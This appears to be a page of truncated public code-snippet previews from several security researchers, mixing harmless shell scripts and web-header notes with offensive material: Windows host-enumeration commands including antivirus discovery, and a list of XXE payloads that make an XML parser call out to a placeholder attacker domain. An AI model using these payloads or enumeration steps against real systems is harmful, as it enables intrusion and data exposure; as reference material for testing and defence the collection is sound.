SietsevanderMolen

#!/bin/bash

run_terminal='
for t in $TERMINAL urxvt rxvt terminator Eterm aterm xterm gnome-terminal roxterm xfce4-terminal; do
    which $t > /dev/null 2>&1 && exec $t;
done
'

get_id() {
    local id=$(xprop -root _NET_ACTIVE_WINDOW)

xorrior

Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct

richdougherty

Forwarding headers

• X-Forwarded-For, X-Forwarded-Prot, X-Forwarded-Host, X-Forwarded-Port
• Forwarded (params: for, by, proto)
• Via
• X-Real-IP

Docs

• RFC 7239: Forwarded HTTP Extension
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded

jhaddix

.
..
........
@
*
*.*
*.*.*
🐎

jhaddix

.
..
........
@
*
*.*
*.*.*
🐎

dwisiswant0

#!/bin/bash

#####
#
# St8out - Extra one-liner for reconnaissance
#
# Usage: ./st8out.sh target.com
#
# Resources:
# - https://github.com/j3ssie/metabigor

nil0x42

Awesome Github OSINT

nil0x42's tips & tricks

📜 get-github-followers-twitter.py

• Scrape twitter account of all github followers of target user on GitHub

📜 get-github-stargazers-twitter.py

• Scrape twitter account of all stargazers of target project on GitHub

nil0x42

🌐 Shields.io

• https://shields.io/
• Quality metadata badges for open source projects

🌐 Badgen

• https://badgen.net/
• Fast badge generating service

🌐 glitch.com/~octicons

• https://glitch.com/~octicons

honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

nil0x42

# extract top subdomains from your firefox history
# by @nil0x42

grep -Pao "https://[a-zA-Z0-9.-]+" ~/.mozilla/firefox/*/places.sqlite \
  | sort -u | sed 's#.*://\([a-zA-Z0-9-]*\)\..*#\1#' | uniq -c | sort -rn